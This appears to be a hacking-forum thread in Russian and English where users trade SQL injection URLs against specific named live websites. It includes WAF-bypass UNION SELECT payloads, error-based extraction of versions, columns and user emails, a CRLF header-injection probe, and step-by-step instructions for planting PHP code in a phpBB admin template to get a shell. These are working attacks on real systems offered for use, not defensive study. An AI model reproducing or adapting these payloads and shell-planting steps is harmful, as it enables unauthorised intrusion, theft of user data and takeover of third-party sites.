Sorry for bringing back WAF topic. I have read all articles on SQL Injection in antichat so don't think should be given again. Code: http://www.worldstyling.com/web/product_detail.php?id=-95/*!UnIoN+SeLeCt*/1,2,3,4,5+--+ Once I want to get union it tells Not Found, Not Found.
www.allaboutjazz.com/php/article_archive.php' как раскрутить? Использование пробелов в корне запрещено www.allaboutjazz.com/php/article_archive.php'or(ExtractValue(1,concat(0x3a,version())))='1 пишет FUNCTION allaboutjazz.ExtractValue does not exist какие еще могут быть варианты?
Code: http://www.worldstyling.com/web/product_detail.php?id=95/*!UnIoN!*/+/!*SeLeCt*!/1,2,3,4,5+--+ tried all WAF solution, nothing comes. And also, checked souurce.
http://www.worldstyling.com/web/product_detail.php?id=95'+or+1+group+by+concat_ws(0x3a,version(),rand(0)|0)+having+min(0)--+
Народ, что это ? Code: http://foto4u.info/go.php?link=video&s=100&url=%0d%0a%20SomeCustomInjectedHeader%3ainjected_by_wvs
PHP: http://www.gospelmp3.ru/artists/?id=-39%27+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13+from+information_schema.columns+where+table_name=0x7061676573--+ Почему не выводит колонки?? (вывод дполжен быть в титле)
Похоже на то что where фильтруется, можешь попорбывать крутить так: Code: http://www.gospelmp3.ru/news/?id=-115+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,table_name,column_name%29,9,10,11,12,13,14,15+from+information_schema.columns+limit+1,1--&n_action=read перебирая лимит пока не найдешь то что нужно, руками конечно муторно но думаю накидать скриптик который сдампит структуру не проблема.
есть досьуп к админке на движке phpbb, могу править шаблоны, как залить туда шелл?? какой код вставить?
Откройте Администраторский раздел => Общие => Безопасность Разрешите php в шаблонах и сохраните настройки Откройте Администраторский раздел => Стили => Шаблоны Напортив активного шаблона нажмите "Изменить" Выберите файл шаблона, в который хотите вставить php, например "overall_footer.html" В нужное место вставьте <?php ..... ?>
Code: http://eafangames.com/live_score_tennis.php/flash_games_online.php ?channel=76'%00 order by 1-- в чём проблемма не могу понять!подскажите!
Code: http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76'%29+union+select+@@version--%201#inscore_ifheight_xdc_500 Done!
Подскажите, почему не выводит данные из таблицы? PHP: http://english.in.ua/contacts.php?id=8+or+1+group+by+concat%28%28select+email+from+acc_users+limit+12,1%29,floor%28rand%280%29*2%29%29having+min%280%29+or+1--+#
